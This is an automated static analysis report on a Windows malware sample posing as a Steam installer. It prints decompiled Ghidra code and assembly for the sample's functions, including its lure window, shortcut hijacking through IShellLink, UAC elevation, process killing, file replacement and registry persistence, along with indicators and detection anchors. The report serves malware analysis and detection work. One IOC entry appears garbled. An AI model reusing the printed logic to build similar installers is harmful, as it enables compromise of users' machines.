E13
read from the file·function

Calls OpenSCManager and ControlService to stop a service before file replacement

the main installer · decompiled C, first 30 lines
/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */
Full function, callers and assembly →
B12

shortcut_hijack

T1547.009file Originalreachability reachable from the entry point
MBC
none
functions
0x1400079500x1400075200x1400072700x140007150
Show the evidence · 3 items: E14, E18, E20
E14
read from the file·function

Scans 6 folders (Desktop, Programs, etc.) for shortcut files and replaces them to hijack execution

the main installer · decompiled C, first 30 lines
/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */
Full function, callers and assembly →
E18
read from the file·function

Uses IShellLink COM to load shortcut files, compares target filename via wcsicoll, then replaces target path, arguments and icon on matching shortcuts

hijacks shortcut files via IShellLink… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007270(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  bool bVar1;
  bool bVar2;
  HRESULT HVar3;
  int iVar4;
  LPWSTR _Str1;
  LPWSTR pWVar5;
  undefined1 auStackY_708 [32];
  longlong *local_6d8;
  longlong *local_6d0;
  undefined4 local_6c8 [4];
  undefined1 local_6b8 [592];
  WCHAR local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_708;
  _Str1 = (wchar_t *)0x0;
  bVar2 = false;
  local_6d8 = (longlong *)0x0;
  local_6d0 = (longlong *)0x0;
  local_6c8[0] = 0;
  HVar3 = CoCreateInstance((IID *)&DAT_140020348,(LPUNKNOWN)0x0,1,(IID *)&DAT_14002a4e0,&local_6d8);
  if (HVar3 < 0) {
  }
/* … 56 more lines */
Full function, callers and assembly →
E20
read from the file·function

Extension normalizer: copies path to buffer with case conversion, checks if suffix matches expected extension, appends it if missing

extension normalizer · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007150(WCHAR *param_1)

{
  code *pcVar1;
  undefined2 uVar2;
  int iVar3;
  longlong lVar4;
  ulonglong uVar5;
  undefined1 auStack_248 [20];
  wchar_t local_234 [6];
  short local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_248;
  if ((param_1 != (WCHAR *)0x0) && (*param_1 != L'\0')) {
    lVar4 = (longlong)local_228 - (longlong)param_1;
    uVar5 = 0;
    do {
      if (0x102 < uVar5) break;
      uVar2 = FUN_140011004(*param_1);
      *(undefined2 *)(lVar4 + (longlong)param_1) = uVar2;
      uVar5 = uVar5 + 1;
      param_1 = param_1 + 1;
    } while (*param_1 != L'\0');
    if (0x207 < uVar5 * 2) {
      FUN_140008a58();
      pcVar1 = (code *)swi(3);
/* … 14 more lines */
Full function, callers and assembly →

Indicators (IOCs) 1

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

1 of 1 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

IDTypeRoleValuePortLayerMethodEvidenceNote
I1registry_keyotherSaianihttps://plau.cohttps://plau.coL0plaintextE2Steam install path registry key queried for lure placement
IOC list · 1 value(s), defanged, one per line
Saianihttps://plau.cohttps://plau.co

Decoded strings 10

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 10 string(s)

out/L0/floss.json · FLOSS stack strings · 8 entries, from FLOSS stack strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

8 shown
#ValueEncodingFunctionMethod
16[.Z.Z*Z)Z`ZuZuZASCII0x140005750floss stack
23Z9Z(Z5ZASCII0x140005750floss stack
3tZ9Z5Z7Z]ASCII0x140005750floss stack
43Z4Z1ZuZASCII0x140005750floss stack
53Z4Z1ZASCII0x140005750floss stack
6d=2124703UTF-16LE0x140005750floss stack
7CopyFileWASCII0x140008650floss stack
8MoveFileWASCII0x140008650floss stack

out/L0/floss.json · FLOSS tight strings · 2 entries, from FLOSS tight strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

2 shown
#ValueEncodingFunctionMethod
1.shop/43413UTF-16LE0x140004ee0floss tight
2\Valve\SteamUTF-16LE0x140006170floss tight

Process map (static) 41

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

PORTABLE EXECUTABLE (PE) x64: 41 sites (3 spawns a process, 1 service control, 37 signals a process), 34 reached from the entry.

0x140008e48
  └ 0x140008cd4   [TerminateProcess]
    └ 0x140012ce8   [TerminateProcess]
    └ 0x140012d44   [TerminateProcess]
    └ 0x140008650 (WinMain: creates a lure GUI window with Steam icon and enters the message pump)
      └ 0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)   [OpenSCManagerW, ShellExecuteExW]
        └ 0x140003f60
          └ 0x140010d60   [TerminateProcess]
            └ 0x14000e7b0   [TerminateProcess]
              └ 0x14000fdd8   [TerminateProcess]
                └ 0x1400100b0   [TerminateProcess]
                └ 0x14000fd48
                  └ 0x14000eafc   [TerminateProcess]
                └ 0x140010260
                  └ 0x14000f274   [TerminateProcess]
                  └ 0x14000f480   [TerminateProcess]
                  └ 0x14000f68c   [TerminateProcess]
                  └ 0x140010a70   [TerminateProcess]
                  └ 0x140010744
                    └ 0x140014824   [TerminateProcess]
                      └ 0x140013d10   [TerminateProcess]
                      └ 0x1400140a8   [TerminateProcess]
                        └ 0x1400141a4   [TerminateProcess]
                      └ 0x140014388   [TerminateProcess]
                      └ 0x1400145b8   [TerminateProcess]
        └ 0x140007270 (hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon)
          └ 0x140007150 (extension normalizer: ensures path ends with expected suffix, appending it if missing)
            └ 0x140008a58
              └ 0x140008a6c   [TerminateProcess]
      └ 0x140005ae0 (WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize)
        └ 0x140005750 (downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW)   [ShellExecuteExW]
          └ 0x140001ff2
            └ 0x140003281
              └ 0x1400034da
                └ 0x1400120b0
                  └ 0x140011828   [TerminateProcess]
      └ 0x140008930
        └ 0x140008984   [TerminateProcess]
      └ 0x140006170 (resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys)
        └ 0x1400112c4
          └ 0x140013a88
            └ 0x140013920   [TerminateProcess]
    └ 0x140012d04
      └ 0x140013468
        └ 0x140013514   [TerminateProcess]
          └ 0x140017f00   [TerminateProcess]
    └ 0x140009130
      └ 0x140013430
        └ 0x1400184bc
          └ 0x1400182fc
            └ 0x140018218
              └ 0x14001817c
                └ 0x1400183e8
                  └ 0x14001835c
                    └ 0x14001b484   [TerminateProcess]
                      └ 0x14001b5a4   [TerminateProcess]
CallWhat it doesIn functionSitePath from the entryDaemon shape
TerminateProcesssignals a process0x140008cd4140008e3f0x140008e48 → 0x140008cd4
TerminateProcesssignals a process0x140012ce8140012cf00x140008e48 → 0x140008cd4 → 0x140012ce8
TerminateProcesssignals a process0x140012d44140012d490x140008e48 → 0x140008cd4 → 0x140012d44
ShellExecuteExWspawns a process0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)140007c0b0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950
OpenSCManagerWservice control0x140007950 (the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence)140007cb30x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950
ShellExecuteExWspawns a process0x140005750 (downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW)1400058db0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140005ae0 → 0x140005750
TerminateProcesssignals a process0x140008984140008a4c0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140008930 → 0x140008984
TerminateProcesssignals a process0x1400135141400135640x140008e48 → 0x140008cd4 → 0x140012d04 → 0x140013468 → 0x140013514
TerminateProcesssignals a process0x140010d60140010e160x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60
TerminateProcesssignals a process0x140017f001400181720x140008e48 → 0x140008cd4 → 0x140012d04 → 0x140013468 → 0x140013514 → 0x140017f00
TerminateProcesssignals a process0x14000e7b014000e8120x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0
TerminateProcesssignals a process0x14001392014001396d0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140006170 → 0x1400112c4 → 0x140013a88 → 0x140013920
TerminateProcesssignals a process0x140008a6c140008afe0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140007270 → 0x140007150 → 0x140008a58 → 0x140008a6c
TerminateProcesssignals a process0x14000fdd814000fe400x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8
TerminateProcesssignals a process0x1400100b014001010f0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x1400100b0
TerminateProcesssignals a process0x14000eafc14000eb700x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x14000fd48 → 0x14000eafc
TerminateProcesssignals a process0x14000f27414000f3bb0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f274
TerminateProcesssignals a process0x14000f48014000f5c70x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f480
TerminateProcesssignals a process0x14000f68c14000f7d30x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x14000f68c
TerminateProcesssignals a process0x140010a70140010abd0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010a70
TerminateProcesssignals a process0x14001182814001189f0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140005ae0 → 0x140005750 → 0x140001ff2 → 0x140003281 → 0x1400034da → 0x1400120b0 → 0x140011828
TerminateProcesssignals a process0x1400148241400148680x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824
TerminateProcesssignals a process0x140014824140014b030x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824
TerminateProcesssignals a process0x14001b48414001b51f0x140008e48 → 0x140008cd4 → 0x140009130 → 0x140013430 → 0x1400184bc → 0x1400182fc → 0x140018218 → 0x14001817c → 0x1400183e8 → 0x14001835c → 0x14001b484
TerminateProcesssignals a process0x140013d10140013d7c0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140013d10
TerminateProcesssignals a process0x1400140a81400140ee0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8
TerminateProcesssignals a process0x1400140a81400141460x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8
TerminateProcesssignals a process0x1400143881400143cd0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140014388
TerminateProcesssignals a process0x14001438814001441d0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x140014388
TerminateProcesssignals a process0x1400145b81400146000x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400145b8
TerminateProcesssignals a process0x1400145b814001465b0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400145b8
TerminateProcesssignals a process0x14001b5a414001b5fe0x140008e48 → 0x140008cd4 → 0x140009130 → 0x140013430 → 0x1400184bc → 0x1400182fc → 0x140018218 → 0x14001817c → 0x1400183e8 → 0x14001835c → 0x14001b484 → 0x14001b5a4
TerminateProcesssignals a process0x1400141a41400142060x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8 → 0x1400141a4
TerminateProcesssignals a process0x1400141a414001437f0x140008e48 → 0x140008cd4 → 0x140008650 → 0x140007950 → 0x140003f60 → 0x140010d60 → 0x14000e7b0 → 0x14000fdd8 → 0x140010260 → 0x140010744 → 0x140014824 → 0x1400140a8 → 0x1400141a4
ShellExecuteWspawns a process0x140004c50 (handles URL navigation events from the lure window and calls ShellExecuteW)140004db5not reached from the entry
TerminateProcesssignals a process0x14001277814001288dnot reached from the entry
TerminateProcesssignals a process0x1400158ac140015c93not reached from the entry
TerminateProcesssignals a process0x140015c9c140015e1cnot reached from the entry
TerminateProcesssignals a process0x14001c53814001c56enot reached from the entry
TerminateProcesssignals a process0x14001c5b414001c5eanot reached from the entry
TerminateProcesssignals a process0x14001cf2014001cfd4not reached from the entry

Detection anchors 5

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

idstatusfeaturescan typescopefileevidenceon diskwherepatternhow stablepossible false matchessingle sample only
A1nominatedSteam registry query sequence in FUN_140006170 with XOR-decoded subkey followed by per-user uninstall lookuprealtimebuildOriginalE2, E3yesLegitimate Steam tools reading the same registry path; filter by caller contextyes
A2nominatedXOR decode pattern: DWORD blocks from 0x14002a510 XORed against data blocks, followed by 0x5a5a short XOR tail loopbatchbuildOriginalE11yesNone expected; combined key pattern is unusualyes
A3nominatedInstaller function at 0x140007950 containing GetModuleFileNameW, Steam path resolution, SHCreateDirectoryExW, UAC elevation, service stop, process kill loop, file replacement and persistence setuprealtimebuildOriginalE6yesNone expectedyes
A4nominatedPE rich header with 12 entries and max build 34435batchbuildOriginalE15yesOther VS2019 builds with the same tool versions; filter by other anchorsyes
A5nominatedPE version info with 8 fields including a 95-char InternalNamerealtimebuildOriginalE16yesOther samples using the same spoofed version infoyes

Open questions 2

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

U1

What are the XOR-decoded runtime strings (download URL, filenames, service name, process names, registry paths, shortcut wildcard)?

what was tried
Static decompilation shows XOR operations at 0x14002a510 against data blocks at 0x14002a2e0
why it stopped
Decode request deferred to a helper unit; emulation needed
stop
static_failed
U4

What do the 10 RCDATA resources (IDs 103-113, 650 KB total) contain?

what was tried
Prepass identifies them as data and text with entropy 4.67-6.07
why it stopped
Resource decode request deferred; likely embedded web content for the GUI lure
stop
static_failed

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From CORD Research's native call graph: 19 functions, 18 edges.

100%drag to panentry pointcitedon the wayreference
direct direct direct direct direct direct direct direct direct direct direct direct direct data_ref direct direct direct tail_call downloads a file from a XOR-decoded URL…0x140005750downloads a file from a XOR-decoded URL… 0x140005750 creates rounded rectangle window region…0x140005a60creates rounded rectangle window region… 0x140005a60 wndProc0x140005ae0wndProc 0x140005ae0 checks admin privileges via…0x140005e80checks admin privileges via… 0x140005e80 reads per-user uninstall registry…0x140005f00reads per-user uninstall registry… 0x140005f00 resolves the Steam install path by…0x140006170resolves the Steam install path by… 0x140006170 enumerates processes via…0x1400064c0enumerates processes via… 0x1400064c0 enumerates processes and checks whether…0x140006770enumerates processes and checks whether… 0x140006770 creates registry shell\open\command and…0x140006950creates registry shell\open\command and… 0x140006950 creates registry entries for…0x140006bb0creates registry entries for… 0x140006bb0 sets up registry persistence under HKCU…0x140006d70sets up registry persistence under HKCU… 0x140006d70 extension normalizer0x140007150extension normalizer 0x140007150 hijacks shortcut files via IShellLink…0x140007270hijacks shortcut files via IShellLink… 0x140007270 recursively searches directories to…0x140007520recursively searches directories to… 0x140007520 replaces files using dynamically…0x140007680replaces files using dynamically… 0x140007680 the main installer0x140007950the main installer 0x140007950 winMain0x140008650winMain 0x140008650 0x140008cd4sub_140008cd4 0x140008cd4 0x140008e48sub_140008e48 0x140008e48
Paths as text · 17
  • downloads a file from a XOR-decoded URL…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 ~> wndProc 0x140005ae0 → downloads a file from a XOR-decoded URL… 0x140005750
  • creates rounded rectangle window region…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → creates rounded rectangle window region… 0x140005a60
  • wndProc: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 ~> wndProc 0x140005ae0
  • checks admin privileges via…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → checks admin privileges via… 0x140005e80
  • reads per-user uninstall registry…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → resolves the Steam install path by… 0x140006170 → reads per-user uninstall registry… 0x140005f00
  • resolves the Steam install path by…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → resolves the Steam install path by… 0x140006170
  • enumerates processes via…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → enumerates processes via… 0x1400064c0
  • enumerates processes and checks whether…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → enumerates processes and checks whether… 0x140006770
  • creates registry shell\open\command and…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70 → creates registry shell\open\command and… 0x140006950
  • creates registry entries for…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70 → creates registry entries for… 0x140006bb0
  • sets up registry persistence under HKCU…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → sets up registry persistence under HKCU… 0x140006d70
  • extension normalizer: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → hijacks shortcut files via IShellLink… 0x140007270 → extension normalizer 0x140007150
  • hijacks shortcut files via IShellLink…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → hijacks shortcut files via IShellLink… 0x140007270
  • recursively searches directories to…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → recursively searches directories to… 0x140007520
  • replaces files using dynamically…: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950 → replaces files using dynamically… 0x140007680
  • the main installer: 0x140008e48 → 0x140008cd4 → winMain 0x140008650 → the main installer 0x140007950
  • winMain: 0x140008e48 → 0x140008cd4 → winMain 0x140008650

How those functions call each other (1 functions, up to three calls apart):

100%drag to panentry pointcitedon the wayreference

Code 18

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 18 functions
FunctionAddressLayerSizeCited asPurposeBehaviours
FUN_140004c500x140004c50L0426E9handles URL navigation events from the lure window and calls ShellExecuteW · behaviours: B7 gui_lure_windowB7
FUN_1400057500x140005750L0748E1downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW · behaviours: B1 file_downloadB1
FUN_140005a600x140005a60L0118E19creates rounded rectangle window region with 12px corners via CreateRoundRectRgn and SetWindowRgn · behaviours: B7 gui_lure_windowB7
FUN_140005ae00x140005ae0L0282E17WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize · behaviours: B1 file_download; B7 gui_lure_windowB1, B7
FUN_140005e800x140005e80L0127E12checks admin privileges via OpenProcessToken and GetTokenInformation · behaviours: B10 uac_elevationB10
FUN_140005f000x140005f00L0346E3reads per-user uninstall registry entries to find the Steam executable path · behaviours: B2 steam_path_resolutionB2
FUN_1400061700x140006170L0806E2resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys · behaviours: B2 steam_path_resolutionB2
FUN_1400064c00x1400064c0L0651E5enumerates processes via CreateToolhelp32Snapshot and sends WM_CLOSE to matching windows · behaviours: B4 process_enumeration_and_killB4
FUN_1400067700x140006770L0308enumerates processes and checks whether specific process names are running · behaviours: B4 process_enumeration_and_killB4
FUN_1400069500x140006950L0577creates registry shell\open\command and DefaultIcon entries for a given file association · behaviours: B3 registry_persistenceB3
FUN_140006bb00x140006bb0L0445creates registry entries for DisplayName, DisplayIcon and UninstallString under a given key · behaviours: B3 registry_persistenceB3
FUN_140006d700x140006d70L0961E4sets up registry persistence under HKCU and HKLM with XOR-decoded key names and random sleep · behaviours: B3 registry_persistence; B9 xor_string_decodeB3, B9
FUN_1400071500x140007150L0271E20extension normalizer: ensures path ends with expected suffix, appending it if missing · behaviours: B12 shortcut_hijackB12
FUN_1400072700x140007270L0665E18hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon · behaviours: B12 shortcut_hijackB12
FUN_1400075200x140007520L0333E7recursively searches directories to depth 9 for files matching a wildcard · behaviours: B6 recursive_file_searchB6
FUN_1400076800x140007680L0702E10replaces files using dynamically resolved CopyFileW and MoveFileW with cleanup · behaviours: B8 file_replacementB8
FUN_1400079500x140007950L03288E6, E13, E14the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence · behaviours: B5 self_install; B10 uac_elevation; B11 service_stop; B12 shortcut_hijackB5, B10, B11, B12
FUN_1400086500x140008650L0690E8WinMain: creates a lure GUI window with Steam icon and enters the message pump · behaviours: B7 gui_lure_windowB7

handles URL navigation events from the…

0x140004c50426 bytes
undefined FUN_140004c50(undefined8 param_1, undefined8 param_2, longlong * param_3)

handles URL navigation events from the lure window and calls ShellExecuteW

Cited as
E9
Behaviours
B7
Called from
none found
Calls
CoTaskMemFree ShellExecuteW SendMessageW ReleaseCapture PostMessageW __security_check_cookie, FUN_140009a68, FUN_140009ae0, FUN_1400112c4
Decompiled C · 50 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140004c50(undefined8 param_1,undefined8 param_2,longlong *param_3)

{
  int iVar1;
  undefined1 (*pauVar2) [16];
  undefined1 (*pauVar3) [16];
  ushort *puVar4;
  ushort *puVar5;
  undefined1 auStackY_458 [32];
  undefined1 (*local_428 [2]) [16];
  WCHAR local_418 [512];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_458;
  local_428[0] = (undefined1 (*) [16])0x0;
  iVar1 = (**(code **)(*param_3 + 0x28))(param_3,local_428);
  pauVar3 = local_428[0];
  if (iVar1 < 0) {
  }
  if (local_428[0] != (undefined1 (*) [16])0x0) {
    pauVar2 = FUN_140009ae0(local_428[0],(undefined1 (*) [16])L"\"close\"");
    if (pauVar2 == (undefined1 (*) [16])0x0) {
      pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"drag\"");
      if (pauVar2 == (undefined1 (*) [16])0x0) {
        pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"openurl\"");
        if ((((pauVar2 != (undefined1 (*) [16])0x0) &&
             (pauVar3 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"url\""),
             pauVar3 != (undefined1 (*) [16])0x0)) &&
            (puVar4 = FUN_140009a68((ushort *)(*pauVar3 + 10),0x22), puVar4 != (ushort *)0x0)) &&
           ((puVar5 = FUN_140009a68(puVar4 + 1,0x22), puVar5 != (ushort *)0x0 &&
            (iVar1 = (int)((longlong)puVar5 - (longlong)puVar4 >> 1), iVar1 - 2U < 0x1fe)))) {
          FUN_1400112c4(local_418,0x200,(longlong)(puVar4 + 1),(longlong)(iVar1 + -1));
          ShellExecuteW((HWND)0x0,L"open",local_418,(LPCWSTR)0x0,(LPCWSTR)0x0,1);
        }
      }
      else {
        ReleaseCapture();
        SendMessageW(DAT_14002ffc8,0xa1,2,0);
      }
    }
    else {
      PostMessageW(DAT_14002ffc8,0x10,0,0);
    }
    CoTaskMemFree(local_428[0]);
  }
}

Assembly · 90 instructions, 6 annotated
AddressBytesInstructionComment
140004c5048 81 ec 58 04 00 00SUB RSP,0x458
140004c5748 8b 05 e2 93 02 00MOV RAX,qword ptr [DAT_14002e040]
140004c5e48 33 c4XOR RAX,RSP
140004c6148 89 84 24 40 04 00 00MOV qword ptr [RSP + local_18],RAX
140004c6949 8b 00MOV RAX,qword ptr [R8]
140004c6c48 8d 54 24 30LEA RDX,[RSP + 0x30]
140004c7149 8b c8MOV RCX,R8
140004c7448 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + local_428],0x0
140004c7dff 50 28CALL qword ptr [RAX + 0x28]
140004c8085 c0TEST EAX,EAX
140004c820f 88 68 01 00 00JS LAB_140004df0
LAB_140004c88:
140004c8848 89 9c 24 60 04 00 00MOV qword ptr [RSP + local_res8],RBX
140004c9048 8b 5c 24 30MOV RBX,qword ptr [RSP + local_428]
140004c9548 85 dbTEST RBX,RBX
140004c980f 84 30 01 00 00JZ LAB_140004dce
140004c9e48 8d 15 5b 48 02 00LEA RDX,[u_"close"_140029500]; "\"close\""
140004ca548 8b cbMOV RCX,RBX
140004ca8e8 33 4e 00 00CALL FUN_140009ae0
140004cad48 85 c0TEST RAX,RAX
140004cb074 1dJZ LAB_140004ccf
140004cb248 8b 0d 0f b3 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140004cb945 33 c9XOR R9D,R9D
140004cbc45 33 c0XOR R8D,R8D
140004cbfba 10 00 00 00MOV EDX,0x10
140004cc4ff 15 ee a7 01 00CALL qword ptr [PTR_PostMessageW_14001f4b8]
140004ccae9 f4 00 00 00JMP LAB_140004dc3
LAB_140004ccf:
140004ccf48 8d 15 3a 48 02 00LEA RDX,[u_"drag"_140029510]; "\"drag\""
140004cd648 8b cbMOV RCX,RBX
140004cd9e8 02 4e 00 00CALL FUN_140009ae0
140004cde48 85 c0TEST RAX,RAX
140004ce174 26JZ LAB_140004d09
140004ce3ff 15 a7 a7 01 00CALL qword ptr [PTR_ReleaseCapture_14001f490]
140004ce948 8b 0d d8 b2 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140004cf045 33 c9XOR R9D,R9D
140004cf3ba a1 00 00 00MOV EDX,0xa1
140004cf841 b8 02 00 00 00MOV R8D,0x2
140004cfeff 15 1c a7 01 00CALL qword ptr [PTR_SendMessageW_14001f420]
140004d04e9 ba 00 00 00JMP LAB_140004dc3
LAB_140004d09:
140004d0948 8d 15 10 48 02 00LEA RDX,[u_"openurl"_140029520]; "\"openurl\""
140004d1048 8b cbMOV RCX,RBX
140004d13e8 c8 4d 00 00CALL FUN_140009ae0
140004d1848 85 c0TEST RAX,RAX
